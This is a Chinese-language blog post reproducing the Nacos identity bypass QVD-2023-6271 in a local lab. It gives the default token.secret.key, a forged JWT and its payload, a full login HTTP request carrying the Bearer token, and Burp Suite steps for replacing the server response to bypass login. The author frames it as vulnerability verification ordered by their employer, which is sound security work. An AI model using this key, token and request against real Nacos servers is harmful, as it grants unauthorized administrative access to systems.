Nacos身份绕过漏洞复现(QVD-2023-6271)

  • Post author:
  • Post category:其他




Nacos身份绕过漏洞复现(QVD-2023-6271)

公司上级预警QVD-2023-6271,领导安排进行排查。

本着知己知彼的原则,我在本地将该漏洞复现出来。

漏洞原理:Nacos 在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。



一、环境安装



vwmare 安装 win10环境 (略)



java安装

我这里使用的是jdk-11.0.2_windows-x64_bin.exe。

下载地址:

jdk下载

安装后记得配置环境变量,这里需要注意一下环境变量,因为nacos是使用的JAVA_HOME作为java的环境变量,path里面添加java的路径作为环境变量是无效的。

需要在环境变量里面新建JAVA_HOME,指定jdk的安装位置。

在这里插入图片描述



nacos启动

下载地址:

nacos


要下载nacos版本小于2.2.0,版本高于2.2.0的话漏洞就修复了,没法复现了。

我这里使用的是2.2.0版本。

在这里插入图片描述

解压后,接入D:\nacos\bin(对应的解压路径)的cmd,输入启动命令

startup.cmd -m standalone

在这里插入图片描述

访问登录界面。

在这里插入图片描述



二、获取cookie



时间戳准备

我们实现先准备个时间戳,需要大于当前系统时间,我现在时间是2023年4月23日,我构造了2023年4月24日的时间。

时间戳构造网页连接:

时间戳


在这里插入图片描述



使用nacos默认key可进行jwt构造

nacos默认key(token.secret.key值的位置在conf下的application.properties)

SecretKey012345678901234567890123456789012345678901234567890123456789

PAYLOAD:DATA

{
  "sub": "nacos",
  "exp": 1682308800
}

jwt网址:

json web tokens


在这里插入图片描述

得到了一串值。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4



burp发送数据包

通过构造数据包发送,可以在返回包获取到cookie。

其中用户名和密码都是自己构造的,实际上nacos不存在这个用户。

在这里插入图片描述

请求包

POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.30.100:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://192.168.30.100:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4

username=najcos&password=nacjos



三、 burpsuite修改数据包

开启代理,打开经典的火狐浏览器



截取登录数据包

将刚才返回包得到的构造的cookie和用户密码填入到数据包里面

在这里插入图片描述

右击选择Do intercept–>Response to request

在这里插入图片描述

点击Forward,发现这里报500错

在这里插入图片描述

没关系,找到之前的构造cookie的返回包


复制全部内容,粘贴到里面,点击Forward!!!


在这里插入图片描述

关闭代理,查看浏览器。

成功绕过。

在这里插入图片描述



版权声明:本文为cangyu51462原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。